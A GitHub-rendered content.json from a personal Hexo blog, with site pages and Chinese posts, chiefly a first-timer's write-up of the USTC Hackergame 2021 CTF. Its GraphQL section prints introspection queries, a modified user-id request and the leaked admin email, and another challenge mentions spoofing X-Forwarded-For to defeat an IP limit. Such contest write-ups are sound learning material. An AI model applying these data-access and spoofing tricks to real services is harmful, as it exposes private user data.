-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 84.8 KB
/
Copy pathcontent.json
File metadata and controls
1 lines (1 loc) · 84.8 KB
1
{"meta":{"title":"再聚樱花庄","subtitle":null,"description":null,"author":"Mashiro","url":"https://blog.mashiro.nl"},"pages":[{"title":"about","date":"2020-05-20T14:14:36.000Z","updated":"2021-02-13T16:39:55.437Z","comments":false,"path":"about/index.html","permalink":"https://blog.mashiro.nl/about/index.html","excerpt":"","text":"[さくら荘での再会] 与 Mashiro ( 真(ま)白(しろ) ) 对话中... bot_ui_ini() More about me… 本站历史 2020.05.10 在腾讯云的主机上搭建了第一个Wordpress博客2020.05.12 域名没有备案,站点直接挂掉2020.05.17 换到VULTR的东京机房建立了Typecho博客,并把Wordpress博客也搬到了上面(权作纪念)2020.09.15 Hexo静态博客の初体験,开始着手站点迁移2020.10.07 服务器被ban,正式开始删库跑路的生涯……2021.01.15 咕咕咕直到考完试才把博客迁移好,放到Github上托管","keywords":"关于"},{"title":"bangumi","date":"2019-06-10T13:32:48.000Z","updated":"2021-01-13T18:15:18.769Z","comments":false,"path":"bangumi/index.html","permalink":"https://blog.mashiro.nl/bangumi/index.html","excerpt":"","text":"","keywords":null},{"title":"comment","date":"2020-05-20T15:13:48.000Z","updated":"2021-02-13T16:40:33.950Z","comments":true,"path":"comment/index.html","permalink":"https://blog.mashiro.nl/comment/index.html","excerpt":"","text":"大家可以在这里留下想对我说的话,建议或是提问,当然闲聊也是OK的","keywords":"留言板"},{"title":"client","date":"2018-12-20T15:13:35.000Z","updated":"2021-01-20T18:50:23.360Z","comments":false,"path":"client/index.html","permalink":"https://blog.mashiro.nl/client/index.html","excerpt":"","text":"直接下载 or 扫码下载:","keywords":"Android客户端"},{"title":"lab","date":"2019-01-05T13:47:59.000Z","updated":"2021-01-20T19:11:52.009Z","comments":false,"path":"lab/index.html","permalink":"https://blog.mashiro.nl/lab/index.html","excerpt":"","text":"sakura主题balabala","keywords":"Lab实验室"},{"title":"donate","date":"2018-12-20T15:13:05.000Z","updated":"2021-01-20T19:10:47.843Z","comments":false,"path":"donate/index.html","permalink":"https://blog.mashiro.nl/donate/index.html","excerpt":"","text":"","keywords":"谢谢饲主了喵~"},{"title":"links","date":"2020-05-19T15:11:06.000Z","updated":"2021-02-13T16:41:08.405Z","comments":true,"path":"links/index.html","permalink":"https://blog.mashiro.nl/links/index.html","excerpt":"","text":"","keywords":"友人帐"},{"title":"rss","date":"2020-05-20T15:09:03.000Z","updated":"2021-02-13T16:41:48.847Z","comments":true,"path":"rss/index.html","permalink":"https://blog.mashiro.nl/rss/index.html","excerpt":"","text":""},{"title":"tags","date":"2020-05-18T14:14:16.000Z","updated":"2021-02-13T16:42:08.609Z","comments":true,"path":"tags/index.html","permalink":"https://blog.mashiro.nl/tags/index.html","excerpt":"","text":""},{"title":"music","date":"2020-05-20T15:14:28.000Z","updated":"2021-02-13T16:41:31.607Z","comments":false,"path":"music/index.html","permalink":"https://blog.mashiro.nl/music/index.html","excerpt":"","text":"","keywords":"喜欢的音乐"},{"title":"video","date":"2020-05-20T15:14:38.000Z","updated":"2021-02-13T16:42:34.288Z","comments":false,"path":"video/index.html","permalink":"https://blog.mashiro.nl/video/index.html","excerpt":"","text":"var videos = [ { img: 'https://lain.bgm.tv/pic/cover/l/0e/1e/218971_2y351.jpg', title: '朝花夕誓——于离别之朝束起约定之花', status: '已追完', progress: 100, jp: 'さよならの朝に約束の花をかざろう', time: '放送时间: 2018-02-24 SUN.', desc: ' 住在远离尘嚣的土地,一边将每天的事情编织成名为希比欧的布,一边静静生活的伊欧夫人民。在15岁左右外表就停止成长,拥有数百年寿命的他们,被称为“离别的一族”,并被视为活着的传说。没有双亲的伊欧夫少女玛奇亚,过着被伙伴包围的平稳日子,却总感觉“孤身一人”。他们的这种日常,一瞬间就崩溃消失。追求伊欧夫的长寿之血,梅萨蒂军乘坐着名为雷纳特的古代兽发动了进攻。在绝望与混乱之中,伊欧夫的第一美女蕾莉亚被梅萨蒂带走,而玛奇亚暗恋的少年克里姆也失踪了。玛奇亚虽然总算逃脱了,却失去了伙伴和归去之地……。' }, { img : 'https://lain.bgm.tv/pic/cover/l/0e/1e/218971_2y351.jpg', title: '朝花夕誓——于离别之朝束起约定之花', status: '已追完', progress: 100, jp: 'さよならの朝に約束の花をかざろう', time: '2018-02-24 SUN.', desc: ' 住在远离尘嚣的土地,一边将每天的事情编织成名为希比欧的布,一边静静生活的伊欧夫人民。在15岁左右外表就停止成长,拥有数百年寿命的他们,被称为“离别的一族”,并被视为活着的传说。没有双亲的伊欧夫少女玛奇亚,过着被伙伴包围的平稳日子,却总感觉“孤身一人”。他们的这种日常,一瞬间就崩溃消失。追求伊欧夫的长寿之血,梅萨蒂军乘坐着名为雷纳特的古代兽发动了进攻。在绝望与混乱之中,伊欧夫的第一美女蕾莉亚被梅萨蒂带走,而玛奇亚暗恋的少年克里姆也失踪了。玛奇亚虽然总算逃脱了,却失去了伙伴和归去之地……。' } ] .should-ellipsis{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:95%;}.should-ellipsis-full{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%;}.should-ellipsis i{position:absolute;right:24px;}.grey-text{color:#9e9e9e !important}.grey-text.text-darken-4{color:#212121 !important}html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}img{border-style:none}progress{display:inline-block;vertical-align:baseline}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}html{-webkit-box-sizing:border-box;box-sizing:border-box}*,*:before,*:after{-webkit-box-sizing:inherit;box-sizing:inherit}ul:not(.browser-default){padding-left:0;list-style-type:none}ul:not(.browser-default)>li{list-style-type:none}.card{-webkit-box-shadow:0 2px 2px 0 rgba(0,0,0,0.14),0 3px 1px -2px rgba(0,0,0,0.12),0 1px 5px 0 rgba(0,0,0,0.2);box-shadow:0 2px 2px 0 rgba(0,0,0,0.14),0 3px 1px -2px rgba(0,0,0,0.12),0 1px 5px 0 rgba(0,0,0,0.2)}.hoverable{-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s,-webkit-box-shadow .25s}.hoverable:hover{-webkit-box-shadow:0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19);box-shadow:0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19)}i{line-height:inherit}i.right{float:right;margin-left:15px}.bangumi .right{float:right !important}.material-icons{text-rendering:optimizeLegibility;-webkit-font-feature-settings:'liga';-moz-font-feature-settings:'liga';font-feature-settings:'liga'}.row{margin-left:auto;margin-right:auto;margin-bottom:20px}.row:after{content:\"\";display:table;clear:both}.row .col{float:left;-webkit-box-sizing:border-box;box-sizing:border-box;padding:0 .75rem;min-height:1px}.row .col.s12{width:100%;margin-left:auto;left:auto;right:auto}@media only screen and (min-width:601px){.row .col.m6{width:50%;margin-left:auto;left:auto;right:auto}}html{line-height:1.5;font-family:-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,Oxygen-Sans,Ubuntu,Cantarell,\"Helvetica Neue\",sans-serif;font-weight:normal;color:rgba(0,0,0,0.87)}@media only screen and (min-width:0){html{font-size:14px}}@media only screen and (min-width:992px){html{font-size:14.5px}}@media only screen and (min-width:1200px){html{font-size:15px}}.card{position:relative;margin:.5rem 0 1rem 0;background-color:#fff;-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s,-webkit-box-shadow .25s;border-radius:2px}.card .card-title{font-size:24px;font-weight:300}.card .card-title.activator{cursor:pointer}.card .card-image{position:relative}.card .card-image img{display:block;border-radius:2px 2px 0 0;position:relative;left:0;right:0;top:0;bottom:0;width:100%}.card .card-content{padding:24px;border-radius:0 0 2px 2px}.card .card-content p{margin:0}.card .card-content .card-title{display:block;line-height:32px;margin-bottom:8px}.card .card-content .card-title i{line-height:32px}.card .card-reveal{padding:24px;position:absolute;background-color:#fff;width:100%;overflow-y:auto;left:0;top:100%;height:100%;z-index:3;display:none}.card .card-reveal .card-title{cursor:pointer;display:block}.waves-effect{position:relative;cursor:pointer;display:inline-block;overflow:hidden;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:transparent;vertical-align:middle;z-index:1;-webkit-transition:.3s ease-out;transition:.3s ease-out}.waves-effect img{position:relative;z-index:-1}.waves-block{display:block}::-webkit-input-placeholder{color:#d1d1d1}::-moz-placeholder{color:#d1d1d1}:-ms-input-placeholder{color:#d1d1d1}::-ms-input-placeholder{color:#d1d1d1}[type=\"radio\"]:not(:checked){position:absolute;opacity:0;pointer-events:none}[type=\"radio\"]:not(:checked)+span{position:relative;padding-left:35px;cursor:pointer;display:inline-block;height:25px;line-height:25px;font-size:1rem;-webkit-transition:.28s ease;transition:.28s ease;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}[type=\"radio\"]:not(:checked)+span:before,[type=\"radio\"]:not(:checked)+span:after{border-radius:50%}[type=\"radio\"]:not(:checked)+span:before,[type=\"radio\"]:not(:checked)+span:after{border:2px solid #5a5a5a}[type=\"radio\"]:not(:checked)+span:after{-webkit-transform:scale(0);transform:scale(0)}[type=\"checkbox\"]:not(:checked){position:absolute;opacity:0;pointer-events:none}[type=\"checkbox\"]:not(:checked):disabled+span:not(.lever):before{border:none;background-color:rgba(0,0,0,0.42)}[type=\"checkbox\"].filled-in:not(:checked)+span:not(.lever):before{width:0;height:0;border:3px solid transparent;left:6px;top:10px;-webkit-transform:rotateZ(37deg);transform:rotateZ(37deg);-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type=\"checkbox\"].filled-in:not(:checked)+span:not(.lever):after{height:20px;width:20px;background-color:transparent;border:2px solid #5a5a5a;top:0px;z-index:0}input[type=checkbox]:not(:disabled) ~ .lever:active:before,input[type=checkbox]:not(:disabled).tabbed:focus ~ .lever::before{-webkit-transform:scale(2.4);transform:scale(2.4);background-color:rgba(0,0,0,0.08)}input[type=range].focused:focus:not(.active)::-webkit-slider-thumb{-webkit-box-shadow:0 0 0 10px rgba(38,166,154,0.26);box-shadow:0 0 0 10px rgba(38,166,154,0.26)}input[type=range].focused:focus:not(.active)::-moz-range-thumb{box-shadow:0 0 0 10px rgba(38,166,154,0.26)}input[type=range].focused:focus:not(.active)::-ms-thumb{box-shadow:0 0 0 10px rgba(38,166,154,0.26)} 番组计划 这里将是永远的回忆 window.onload = function(){ videos.forEach(function(video, i){ $('#rootRow').append(` ${video.title} ${video.jp} ${video.status} ${video.title} ${video.jp} 放送时间: ${video.time} ${video.desc} ${video.status} `) }) }","keywords":"B站"},{"title":"theme-sakura","date":"2019-01-04T14:53:25.000Z","updated":"2021-01-20T20:34:32.349Z","comments":false,"path":"theme-sakura/index.html","permalink":"https://blog.mashiro.nl/theme-sakura/index.html","excerpt":"","text":"Hexo主题Sakura修改自WordPress主题Sakura,感谢原作者Mashiro","keywords":"Hexo 主题 Sakura 🌸"}],"posts":[{"title":"中科大Hackergame 2021","slug":"技术/中科大Hackergame-2021","date":"2021-11-06T13:31:08.000Z","updated":"2021-11-07T09:55:01.818Z","comments":true,"path":"2021/11/06/技术/中科大Hackergame-2021/","link":"","permalink":"https://blog.mashiro.nl/2021/11/06/技术/中科大Hackergame-2021/","excerpt":"","text":"封面图:#制服 - pixiv 前言又菜又爱玩的 Mashiro 最近又开了一个新坑,之前了解到中科大举办的CTF比赛,对新手来说比较友好,所以作为网安“带师”的我自然不会错过啦! (指当炮灰 这次拉上了 @Zyan 一起来玩,虽然有违反比赛规则的嫌疑🙈 另外技术力有限,有纰漏的地方也欢迎大家指正啦 ~ 签到题 为了能让大家顺利签到,命题组把每一秒的 flag 都记录下来制成了日记本的一页。你只需要打开日记,翻到 Hackergame 2021 比赛进行期间的任何一页就能得到 flag! 因为赛前看过去年的题解,所以一眼发现了 url 有问题,每点击一下 Next 按钮时间会多一秒,page 参数也会加一,那么想拿到 flag 的话调到比赛时间即可。 随手找了个在线日期计算,就不敲代码实现了。请求 url:http://202.38.93.111:10000/?page=1634961600 BTW,看了别人的题解,发现开始时间的 1970-01-01 0:00:00 正好是 Unix 时间戳的起始时间,所以其实只用…… date +%s // 计算 UTC 1970-01-01 0点到现在的秒数 总算是知道一分钟内拿下一血的大哥是怎么做的了 Orz 进制十六——参上 为严防 flag 泄漏以及其他存在于未来所有可能的意外灾难,神通广大的 Z 同学不仅强制要求每一道题目都加上权限和资源的限制,还给所有参与 Hackergame 2021 命题的计算机施加了一层法术结界。任何试图从结界逃逸的 flag 都会被无情抹除。 而一位明面上是计算机学院的新生,实则为物理学院暗部核心成员的 X 同学,在 Hackergame 2021 命题组已经潜伏多时。妄想趁比赛开始的午时,借阳火正旺之势,冲破 Z 同学的结界,以图片而非明文的形式,将 flag 悄悄传递出来。 好在 Z 同学法力之深厚,不可管窥蠡测。在 flag 被传出去的前两天,就已预知此事并将图片中的 flag 无声消泯了。 只是,这位 X 同学,虽然不会退出 Vim,但是似乎对打开十六进制编辑器颇有造诣…… 观察图片,发现黄色部分字母和数字是一一对应的关系,涂掉的部分就是 flag,题目也提示了十六进制相关,那先看看第一个字母 E 的 16 进制 ASCII 码是什么吧 ~ 发现正好是 45,问题解决。 接下来就简单了,找个识图工具把数字提取出来,再进行转换就好啦。 去吧!追寻自由的电波 为了打破 Z 同学布下的结界,X 同学偷偷搬出社团的业余无线电台试图向外界通讯。 当然,如果只是这样还远远不够。遵依史称“老爹”的上古先贤的至理名言,必须要“用魔法打败魔法”。X 同学向上级申请到了科大西区同步辐射实验室设备的使用权限,以此打通次元空间,借助到另一个平行宇宙中 Z 同学的法力进行数据对冲,方才于乱中搏得一丝机会,将 flag 用无线电的形式发射了出去。 考虑到信息的鲁棒性,X 同学使用了无线电中惯用的方法来区分字符串中读音相近的字母。即使如此,打破次元的强大能量扭曲了时空,使得最终接受到的录音的速度有所改变。 为了保障同步辐射设备的持续运转,组织牺牲了大量的能源,甚至以东北部分地区无计划限电为代价,把这份沉甸甸的录音文件送到了你的手上。而刚刚起床没多久,试图抢签到题一血还失败了的你,可以不辜负同学们对你的殷切期望吗? 注:flag 花括号内只包含小写字母。 点击下载文件拿到的是一个音频文件,打开一听,发现明显进行了加快。放进浏览器调 1/4 倍速,隐约听到 alpha,hotel……几个单词,然后题目提示了无线电,所以搜索了一下,发现了这个国际无线电通话拼写字母那么接下来就是痛苦的英语听力环节(苦于不会修音,一开始才听出来几个单词,然后第五个词卡了好久,后来才发现是三个音节的,然而拼写表里面的单词最多也是两个音节的……所以那里是两个词,是 flag 后的 left-bracket,不是表里面的单词) 原文: Foxtrot Lima Alpha Golf left-bracket Papa Hotel Oscar November Echo Tango India Charlie Alfa Bravo right-bracket 猫咪问答 Pro Max提示:解出谜题不需要是科大在校学生 第一题「2017 年,中科大信息安全俱乐部(SEC@USTC)并入中科大 Linux 用户协会(USTCLUG)。目前,信息安全俱乐部的域名(sec.ustc.edu.cn)已经无法访问,但你能找到信息安全俱乐部的社团章程在哪一天的会员代表大会上通过的吗?」看到那句已经无法访问,让我想起了阮老师的一篇文章里面提及的 Internet Archive,猜测上面应该有存档,果不其然找到了这个https://web.archive.org/web/20170613090934/http://sec.ustc.edu.cn/doku.php/codes 第二题「中国科学技术大学 Linux 用户协会在近五年多少次被评为校五星级社团?」在科大 LUG 的介绍页面就能找到https://lug.ustc.edu.cn/wiki/intro/ 为了表彰其出色表现,协会于 2011 年 5 月被评为中国科学技术大学优秀学生社团,于 2012 年 5 月、2013 年 5 月及 2014 年 5 月分别被评为中国科学技术大学四星级学生社团,并于 2015 年 5 月、2017 年 7 月、2018 年 9 月、2019 年 8 月、2020 年 9 月及 2021 年 9 月被评为中国科学技术大学五星级学生社团。 其实这里算歪打正着了,因为问的是近五年,所以 15 年是不算的,不过我们可以找到 21 年 LUG 还是五星社团(官方题解提示)https://zsb.ustc.edu.cn/_upload/article/images/aa/64/6fa4dabb4810a17cf7c1d978c481/bfc8bd9e-51a8-4b61-9c42-8d484a7d72c0.jpg 第三题「中国科学技术大学 Linux 用户协会位于西区图书馆的活动室门口的牌子上“LUG @ USTC”下方的小字是?」老实说我第一反应是找街景地图,但是发现只能看到图书馆门口,仅此而已。而且题目说的是图书馆的活动室,所以应该是在里面的。用街景地图的思路看来行不通,那就只能搜 LUG 关于图书馆的新闻,万幸找到了https://lug.ustc.edu.cn/news/2016/06/new-activity-room-in-west-library/小插曲:当时 Zyan 想到的居然是去 Shodan 找中科大图书馆有没有被入侵的摄像头,真的被他的脑洞惊到了,觉得他很有当 hacker 的潜质。 第四题「在 SIGBOVIK 2021 的一篇关于二进制 Newcomb-Benford 定律的论文中,作者一共展示了多少个数据集对其理论结果进行验证?」这题直接给工具人 Zyan 去看,因为文章很长http://sigbovik.org/2021/proceedings.pdf事实证明他做阅读理解还是有一手的,很快就把答案找出来了(他看完才发现可以看图来数,tcl) 第五题「不严格遵循协议规范的操作着实令人生厌,好在 IETF 于 2021 年成立了 Protocol Police 以监督并惩戒所有违背 RFC 文档的行为个体。假如你发现了某位同学可能违反了协议规范,根据 Protocol Police 相关文档中规定的举报方法,你应该将你的举报信发往何处?」(答案含九个字符)Google 搜索 protocol police 和 RFC,很容易找到 rfc8962 Reporting OffensesSend all your reports of possible violations and all tips aboutwrongdoing to /dev/null. The Protocol Police are listening and willtake care of it. 其实里面有个 Unix 行话,/dev/null 即比特桶或者黑洞。因为其在类 Unix 系统中是一个特殊的设备文件,它丢弃一切写入其中的数据。 旅行照片 你的学长决定来一场说走就走的旅行。通过他发给你的照片来看,他应该是在酒店住下了。从照片来看,酒店似乎在小区的一栋高楼里,附近还有一家 KFC 分店。突然,你意识到照片里透露出来的信息比表面上看起来的要多。请观察照片并答对全部 5 道题以获取 flag。注意:图片未在其他地方公开发布过,也未采取任何隐写措施(通过手机拍摄屏幕亦可答题)。 第一题「该照片拍摄者的面朝方向为?」 第二题「该照片的拍摄时间大致为?」 第三题「该照片的拍摄者所在楼层为?」 第四题「该照片左上角 KFC 分店的电话号码是?」 第五题「该照片左上角 KFC 分店左侧建筑有三个水平排列的汉字,它们是?」 平时在 b 站看多了别人分析图片信息,没想到今天自己也要亲历一次头脑风暴,真是太棒了(x一开始是拿去 Google 和百度识图了,结果什么都没找到,毕竟题目说了图片未曾在其他地方公开。看图片感觉地点靠近港口,而且从公交车在街道上的朝向分析,估计是在国内的某个海滨。左上角隐约看见有家 KFC,然后没发现更多有用的信息了。找了 Zyan 一起分析,他说可以从开封菜下手,毕竟蓝色的 KFC 挺少见的。搜索蓝色 KFC,好家伙,原来那是一家网红店https://www.xiaohongshu.com/discovery/item/5e985cda00000000010076e5校验一下是不是吧,帖主给的地点是秦皇岛新澳海底世界,打开百度地图看看 评论里给的图片契合度挺高的,而且观察地图的海岸线,和题目图片的基本吻合,所以基本可以确定就是这个地方。题目还说了,酒店在小区的一栋高楼里,所以拍摄者的位置大概在 KFC 西北面的小区群里。接下来打开街景地图,发现 KFC 那条路没有街景,绝了!!!幸好 Zyan 在大众点评找到了这个(Zyan,我滴超人!大众点评,yyds!) 观察题目图片最右侧的那栋建筑,我们可以数到十六层,用手机大概模拟了一下,发现那种角度拍摄到的楼层不会超过拍摄者所在楼层的三层以上,估计是 13-15 其中一层,所以暴力穷举即可。 最后剩下拍摄时间的问题,通过建筑的阴影可以注意到太阳几乎从正西侧照射而来,故为傍晚。但当时判断方位不准确,所以我直接人肉遍历了一次时间😂 图之上的信息 小 T 听说 GraphQL 是一种特别的 API 设计模式,也是 RESTful API 的有力竞争者,所以他写了个小网站来实验这项技术。 你能通过这个全新的接口,获取到没有公开出来的管理员的邮箱地址吗? 这题就有 CTF 那味了,因为目前做到的题甚至都不用脚本去暴力穷举,更像是一种解密,多数都可以靠一些基本的社工学技巧去破解。搜索了一下 GraphQL 是个什么东西,发现是一种 API 查询语言?相当于在后端和数据库之间再套了一层(个人理解)。看了一下官方文档,发现概念挺抽象的。没办法,先打开题目看看吧 ~ 给了一个登录界面,然后提供了 Guest 用户名和密码 Guest,登陆进去如下 提示了 flag 是 admin 的邮箱。先 F12 打开控制台,查找 graphql,然后发现页面向 http://202.38.93.111:15001/graphql 发送了一次 POST 请求,十分可疑。 点击查看详情,发现请求参数如下 { notes(userId: 2) { id contents } } 那么根据经验,admin 的 id 应该是 1,先改成 1 重发一次请求,看看有什么结果 fetch("http://202.38.93.111:15001/graphql", { "headers": { "accept": "application/json, text/plain, */*", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "content-type": "application/json", "proxy-connection": "keep-alive" }, "referrer": "http://202.38.93.111:15001/notes", "referrerPolicy": "strict-origin-when-cross-origin", "body": "{\\"query\\":\\"{ notes(userId: 1) { id\\\\ncontents }}\\"}", "method": "POST", "mode": "cors", "credentials": "include" }); 响应如下: { "errors": [ { "message": "This user has no permission to access this.", "locations": [ { "line": 1, "column": 3 } ], "path": [ "notes" ] } ], "data": { "notes": null } } 看来事情没有这么简单,但是又不太懂 graphql,那怎么查询呢?想了一下,别的 CTF 比赛应该也有相似类型的题目,用 graphql + ctf 两个关键词去搜索,果然找到了些许思路。 https://jaimelightfoot.com/blog/hack-in-paris-2019-ctf-meet-your-doctor-graphql-challenge/ https://hwlanxiaojun.github.io/2020/04/14/当CTF遇上GraphQL的那些事/ https://www.jianshu.com/p/e59a27a15b5a 的 GraphQL-WEB 部分 总的来说,是由于 GraphQL 存在内省机制,如果不加以处理,则可能会泄露系统中所有的可用的查询,以及查询支持的字段等信息。 这题估计也是要利用类似的漏洞,我们先通过__schema查询所有可用对象试试 { __schema { types { name } } } 结果如下 { "data": { "__schema": { "types": [ { "name": "Query" }, { "name": "GNote" }, { "name": "Int" }, { "name": "String" }, { "name": "GUser" }, { "name": "Boolean" }, { "name": "__Schema" }, { "name": "__Type" }, { "name": "__TypeKind" }, { "name": "__Field" }, { "name": "__InputValue" }, { "name": "__EnumValue" }, { "name": "__Directive" }, { "name": "__DirectiveLocation" } ] } } } 其中比较敏感的是GUser这个对象,用__type查询GUser的所有字段: { __type(name: "GUser") { name fields { name type { name kind } } } } 结果如下: { "data": { "__type": { "name": "GUser", "fields": [ { "name": "id", "type": { "name": "Int", "kind": "SCALAR" } }, { "name": "username", "type": { "name": "String", "kind": "SCALAR" } }, { "name": "privateEmail", "type": { "name": "String", "kind": "SCALAR" } } ] } } } Great!里面有个privateEmail,flag 应该就在里面。然后看一下Query里面定义的可用查询 { __schema { queryType { fields { name description } } } } 结果: { "data": { "__schema": { "queryType": { "fields": [ { "name": "note", "description": "Get a specific note information" }, { "name": "notes", "description": "Get notes information of a user" }, { "name": "user", "description": "Get a specific user information" } ] } } } } 那么最后猜测 admin 的 id 是 1,构造请求: { user(id:1) { privateEmail } } 返回结果: { "data": { "user": { "privateEmail": "flag{dont_let_graphql_l3ak_data_7e63d49f66@hackergame.ustc}" } } } GET FLAG!!! 有思路但没解出的题 卖瓜 咋一看觉得是不可能的,因为 6 和 9 都是三的倍数,不用浮点数怎么也凑不到 20。试了一下,发现可以传入负数,但好像没什么用。一开始想着用 burpsuite 抓包修改数据,但是服务器没返回 flag。然后看了一下 19 年的题解,感觉这题大概率也是通过 INT64 溢出实现的,但还是没拿到 flag。(才不是不会构造呢!我有一个绝妙的方法,只是这里空间太小,写不下了) FLAG 助力大红包 “听说没?【大砍刀】平台又双叒做活动啦!参与活动就送 0.5 个 flag 呢,攒满 1 个 flag 即可免费提取!” “还有这么好的事情?我也要参加!” “快点吧!我已经拿到 flag 了呢!再不参加 flag 就要发完了呢。” “那怎么才能参加呢?” “这还不简单!点击下面的链接就行” 感觉是要用到代理池等工具去做才行,然而官方题解是…… 应当可以很容易发现,用户通过点击助力按钮,即可积攒 Flag 。但是题目写出会对源地址进行检查, 位于同一个 /8 网络内的用户只能助力一次。(一个 /8 网段内的所有 IP 地址的第一个字节是相同的。很容易可以知道, IPv4 中至多只有 256 个 /8 网段。 其实,如果对 Flag 数量进行多项式拟合,可以发现 flag 数量为一精确的二次函数: flag = (-0.0000076*(count-256)^2+1) 最终需要攒齐全部 256 个 /8 网段的助力才可获得全部 Flag。 即便没有上面这一步,应当可以很快意识(也许很难)到使用好友助力或使用代理池是不可行的,这是由于不是全部 IPv4 /8 地址块是可用的。这包括: RFC1700 定义的 0.0.0.0/8 和回环地址 127.0.0.0/8。RFC1918 定义的私有地址 10.0.0.0/8、192.168.0.0/16 ,172.16.0.0/12RFC3171 定义的组播地址 224.0.0.0/4RFC1700 定义的保留地址 240.0.0.0/4用于特殊网络的 14.0.0.0/8 , 24.0.0.0/8 以及 39.0.0.0/8美国国防部宣告的大量 IPv4 /8 网段,例如 6.0.0.0/8 , 7.0.0.0/8 等等 十几个 /8 网段详细信息可用参考 RFC3330. 所以要用 X-Forwarded-For 去欺骗服务器(555,自己太菜了 总结做了六道题,比预期好很多,毕竟第一次打 CTF,所以菜也是情有可原的(bushi最终成绩是 general:450,web:250,math:0,binary:0,total:700数学和逆向一道都没写出来,流下了不学无术的泪水😭。 不过玩得挺开心的,也锻炼了自己快速学习的能力(虽然 GraphQL 还是一知半解),希望下一年密码学和逆向不要再 0 蛋吧 QAQ ~","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"https://blog.mashiro.nl/tags/CTF/"}],"keywords":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}]},{"title":"Code Runner快速更改Python解释器路径","slug":"技术/Code-Runner快速更改Python解释器路径","date":"2021-08-02T08:30:45.000Z","updated":"2021-08-08T11:42:23.734Z","comments":true,"path":"2021/08/02/技术/Code-Runner快速更改Python解释器路径/","link":"","permalink":"https://blog.mashiro.nl/2021/08/02/技术/Code-Runner快速更改Python解释器路径/","excerpt":"","text":"封面图:#魔女の旅々 - pixiv 前言目前主要使用 VS Code + WSL2 进行开发,经常需要更换 Python 运行环境,但是 Code Runner 插件默认会使用 python -u 去执行文件,而无法和 Python 插件进行配合,所以要在配置文件中反复更改解释器路径。另外如果使用默认配置,在 WSL2 中会无法运行文件(Linux 要用 python3 -u,而 python -u 默认使用 python2 去运行),所以要把 Code Runner 运行配置更改成 python3 -u,并在 Windows 多配置一条 python3.exe 软链接,指向所需的解释器才能正常运行。(不建议直接将 python.exe 改名成 python3.exe,实测这样做 pip 会出问题)显然这不是一个 Good idea,后来终于在 stackoverflow 找到了一个比较好的办法 安装 Python 插件不会吧,不会吧,不会有人用 VS Code 不装插件的吧 更改 Code Runner 的设置首先找到拓展,点击 Code Runner 的齿轮,选择拓展设置。打开后右上角有一个 打开设置(json) 的按钮,点进去切换到 json 格式然后定位到 "code-runner.executorMap",修改成如下配置 "code-runner.executorMap": { "python": "$pythonPath -u $fullFileName" }, $pythonPath 表示的是使用上面已经设置好的 pythonPath 的值,此值会随 python 插件更换解释器而更换$fullFileName 则是引用当前 python 文件的路径 最后将 "code-runner.runInTerminal" 所对应的值改为 true,就大功告成啦 ~ 参考[1] How to allow VS Code to take input from users?","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}],"tags":[{"name":"VS Code","slug":"VS-Code","permalink":"https://blog.mashiro.nl/tags/VS-Code/"}],"keywords":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}]},{"title":"迁移&杂谈","slug":"生活/迁移&杂谈","date":"2021-01-16T15:00:07.000Z","updated":"2021-01-23T18:22:24.419Z","comments":true,"path":"2021/01/16/生活/迁移&杂谈/","link":"","permalink":"https://blog.mashiro.nl/2021/01/16/生活/迁移&杂谈/","excerpt":"","text":"终于放假了,总算是有时间把博客迁移好了封面图:#泣きたい私は猫をかぶる - pixiv 不知不觉,搭建个人博客也有半年的时间了。说来惭愧,除了最开始因为三分钟热度写了一点东西,剩下的几个月一直就在摸鱼。唉!懒人叹气 ~ 疫情时家里蹲,倒是份难得的闲适。回校后节奏加快了不少,时间被压榨得厉害。也不知道自己是哪根筋抽了,选了四门公选课,加上原本的专业课,一夜回到高中时代。每天除了上课,剩下的时间只想休息,坐下来写博客也成了奢望,实在是没有更新的动力。 这期间服务器被墙ban了,上面搭的一些服务全部阵亡,只剩下个博客还在苦苦支撑(因为套了Cloudflare,所以访问也没出什么问题)。但是为了一个博客,去续费一个每月5刀的机器,对我的钱包来说还是一种考验,另外维护服务器也是一个累人的活,于是我一不做,二不休,直接删机跑路了,这也是博客挂了这么久的原因。 其实删机跑路后我就在筹备换成静态博客,为了以后能方便管理。倒不是说Typecho之类的博客CMS不好,其实在写作体验上,Typecho给我的体验可能更好一些,但毕竟是动态博客,依赖PHP环境,一旦迁移就是场灾难。而且见多了主机商弄丢数据,甚至跑路的事情,让我愈发觉得静态博客可能更适合我。另外,就算我不去维护,博客挂在Github、Gitee这些有静态页面托管的地方,能在很长的一段时间都没有问题(理论上只要它服务不关闭,博客就一直能访问)。所以考量过后,最终选择了 Hexo + Github Pages 这种形式。 